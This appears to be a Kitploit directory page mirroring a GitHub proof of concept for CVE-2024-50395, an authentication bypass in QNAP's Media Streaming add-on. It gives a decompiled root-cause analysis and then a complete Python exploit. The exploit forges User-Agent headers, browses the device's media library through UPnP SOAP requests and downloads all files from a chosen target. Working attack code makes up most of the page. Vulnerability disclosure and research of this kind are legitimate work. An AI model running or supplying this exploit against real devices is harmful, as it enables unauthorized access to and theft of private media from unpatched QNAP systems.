Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-50395 — Python exploit for CVE-2024-50395, an authorization bypass in QNAP Media Streaming add-on. Uses crafted User-Agent headers to bypass authentication and browse/download media files via UPnP SOAP requests. | Kitploit
Tools/GitHubGitHub/neko-hat/cve-2024-50395
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubneko-hat/cve-2024-50395

CVE-2024-50395

Python exploit for CVE-2024-50395, an authorization bypass in QNAP Media Streaming add-on. Uses crafted User-Agent headers to bypass authentication and browse/download media files via UPnP SOAP requests.

View Repository
211 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-50395

CVE Info

An authorization bypass through user-controlled key vulnerability has been reported to affect Media Streaming add-on. If exploited, the vulnerability could allow local network attackers to gain privilege. We have already fixed the vulnerability in the following version: Media Streaming add-on 500.1.1.6 ( 2024/08/02 ) and later

PoC GIF

PoC.gif

Root Cause

GET Method Authorization Bypass

The Function FUN_001293f0 in Ghidra, that maybe called ParseHttpHeaders function in original source code, parse http header data from requests by client.

That function also parse “User-Agent” and get value.

root@kitploit:~
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
  pcVar6 = strstr((char *)__s,"Twonky");
  if ((pcVar6 == (char *)0x0) &&
     (pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
    if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
       (lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
       lVar14 != 0)) {
      ppuVar10 = __ctype_b_loc();
      do {
        puVar9 = puVar9 + 1;
      } while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
               0x20) != 0);
      lVar11 = 0;
      pcVar6 = *(char **)(client_type_patterns + 8);
      lVar14 = client_type_patterns;
      lVar18 = client_type_patterns;
      while (pcVar6 != (char *)0x0) {
        if (*(int *)(lVar14 + 0x10) == 1) {
          if (*(int *)(lVar14 + 0x14) == 0) {
            lVar14 = strstrc(puVar9,pcVar6,0xd);
            lVar18 = client_type_patterns;
            if (lVar14 != 0) {
              pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
              puVar20 = (undefined *)0x0;
              uVar22 = 5;
              local_138 = *(int *)(client_type_patterns + lVar11);
              lVar12 = (longlong)local_138;
              uVar15 = 0x204;
              local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                                   0x10);
              goto LAB_00129ab1;
            }
          }

At that time, if “User-Agent” value is “AppleCoreMedia”, below codes executed.

root@kitploit:~
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
  if (*(int *)(lVar14 + 0x10) == 1) {
    if (*(int *)(lVar14 + 0x14) == 0) {
      lVar14 = strstrc(puVar9,pcVar6,0xd);
      lVar18 = client_type_patterns;
      if (lVar14 != 0) {
        pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
        puVar20 = (undefined *)0x0;
        uVar22 = 5;
        local_138 = *(int *)(client_type_patterns + lVar11);
        lVar12 = (longlong)local_138;
        uVar15 = 0x204;
        local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
                             0x10);
        goto LAB_00129ab1;
      }
    }

And then goto LAB_00129aba1

root@kitploit:~
LAB_00129ab1:
                      myDebugUtilWrapperPrint
                                (uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
                                 ,lVar12);
LAB_00129abb:
                      lVar14 = *(long *)(param_1 + 0x20);
                      uVar8 = (ulong)*(uint *)(param_1 + 0x30);
                    }

Then, below codes executed

root@kitploit:~
LAB_00129627:
        for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
        }
        __s = __s + 2;
      } while (__s < (uchar *)((int)uVar8 + lVar14));
    }
    if (local_138 < 0) {
      local_138 = g_DefaultClientTypeId;
    }
  }
  iVar4 = local_138;
  pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
  myDebugUtilWrapperPrint
            (5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
             "finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
  local_174 = local_174 | *(uint *)(param_1 + 0x88);
  *(int *)(param_1 + 0x38) = local_138;
  bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
  ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
  bVar26 = ppbVar17 == (byte **)0x0;
  *(uint *)(param_1 + 0x88) = local_174;
  lVar14 = 8;
  *(uint *)(param_1 + 0xa4) = local_130;
  *(int *)(param_1 + 0xa8) = local_13c;
  *(int *)(param_1 + 0xac) = local_134;
  pbVar19 = *ppbVar17;
  pbVar21 = (byte *)"AppleTV";
  /*
  omited...
  */
  
  uVar15 = 0;
  if ((local_174 & 0x100) == 0) goto LAB_001298c4;

Focus on the code that is uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;

if User-Agent value is “AppleCoreMedia”, That code could be executed.

So The function FUN_001293f0 return 0 value.

That Function is called in FUN_001411f0, running ****like a routing function, when the return value is 0,

FUN_001411f0 doesn’t execute any Functions that send http 401 errorcode. (”Deny Access”)

(The Function FUN_001411f0 is maybe called ProcessHTTPSubscribe in original souce code.)

POST Method

The Client Type "QNAPDMC” is initialized in Funtion “InsertQNAPClientType”. (That Funtion is called in main)

And in that Function, the Variable g_QNAPDMCClientTypeId is initialized.

When a client use http POST method, The main processing Function is FUN_0012ee50.

root@kitploit:~
  uVar21 = 1;
  myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
  ;
                    /* DAT_001690a2 is "POST" */
  lVar11 = 5;
  pbVar13 = &DAT_001690a2;
  pbVar14 = local_298;
  do {
    if (lVar11 == 0) break;
    lVar11 = lVar11 + -1;
    uVar19 = *pbVar13 < *pbVar14;
    uVar21 = *pbVar13 == *pbVar14;
    pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
    pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
  } while ((bool)uVar21);
  if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
    param_1[0xd] = 2;
    FUN_0012ee50(param_1);
    goto exit;
  }

if request header has “Soapaction”, Function ExecuteSoapAction is executed.

(*(long *)(param_1 + 0x10) value was setted in FUN_001293f0 )

root@kitploit:~
  if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
    param_1[3] = 1;
    return (ulong)(param_1[10] - param_1[0xc]);
  }
  if (*(long *)(param_1 + 0x10) != 0) {
    uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
    return uVar2;
  }

In ExecuteSoapAction, if (*(int *)(param_1 + 0x38) is same as g_QNAPDMCClientTypeId, We can bypass Authorization.

root@kitploit:~
  if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
    if (n_lan_addr < 1) {
LAB_0014a27f:
      pcVar6 = "Deny Access";
      goto LAB_0014a3dd;
    }
    if (DAT_00398a90 != *(int *)(param_1 + 4)) {
      puVar3 = &lan_addr;
      do {
        if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
        piVar1 = (int *)(puVar3 + 0x2c);
        puVar3 = puVar3 + 0x1c;
      } while (*piVar1 != *(int *)(param_1 + 4));
    }
  }
  pcVar6 = strchr(param_2,0x23);

The variable (*(int *)(param_1 + 0x38) is initialized in FUN_001293f0 by using “User-Agent”.

So We can bypass Authorization, using request header “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”.

Exploit

root@kitploit:~
#!/usr/bin/python3
# POC.py

import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse

from xml.dom.minidom import parseString
#from tqdm import tqdm

log = lambda x: print("\033[31m[+]" + "\033[37m"+x)

HOST = 'http://{0}:{1}'

session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}

def makedirs(path):
    if not os.path.exists(path):
        os.makedirs(path)

#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
    res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
    obj = parseString(html.unescape(res.text))
    
    NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
    MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
    VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
    
    log(f"TARGET NAME: {NAME}")
    log(f"TARGET MODEL: {MODEL}")
    log(f"TARGET QTS VERSION: {VERSION}")

#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
    header = auth_post_bypass_header.copy()

    header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
    
    pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
    pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
    pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
    pay += """<ObjectID>{1}</ObjectID>"""
    pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
    pay += """</u:Browse></s:Body></s:Envelope>"""
    
    res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
    obj = parseString(html.unescape(res.text))
    element = obj.getElementsByTagName('container')
    
    keys1 = {}
    for ee in element:
        dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
        log(f"FIND: {dir_name}")
        keys1[dir_name] = ee.getAttribute("id")
        

    keys2 = []

    for k,v in keys1.items():
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        
        for ee in element:
            dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {dir_name}")
            keys2.append([v, dir_name, ee.getAttribute("id")])
    keys3 = []

    for k in keys2:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))

        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            keys3.append([v, file_name, ee.getAttribute("id")])

    keys4 = []
    deps_key = []

    for k in keys3:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        element2 = obj.getElementsByTagName('container')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

        for ee in element2:
            deps_key.append(ee.getAttribute("id"))

    for k in deps_key:
        res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
        obj = parseString(html.unescape(res.text))
        element = obj.getElementsByTagName('item')
        for ee in element:
            file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
            #log(f"FIND: {file_name}")
            url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
            if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
                keys4.append([v, file_name, url, url.split("ext=")[1]])

    makedirs('./Downloaded')

    for k in keys4:
        if "Transcode" in k[-2]:
            k[-2] = k[-2].replace("Transcode", "MediaItems")

    RETRY = []
    for k in keys4:
        URL = k[-2]
        res = sess.get(url=URL, headers=auth_bypass_header)
        if len(res.content) <= 0:
            RETRY.append([k[1]+k[-1], k[-2]])
            log(f'FAILED: {k[1]+k[-1]}')
            continue
        
        with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
            f.write(res.content)
        log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
    
    for rr in RETRY:
        res = sess.head(url=rr[1], headers=auth_bypass_header)
        print(rr[1])
      

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='')

    parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
    parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')

    args = parser.parse_args()

    HOST = HOST.format(args.target, args.port)
    
    get_rootDesc(session)
    exploit(session)
Download Tool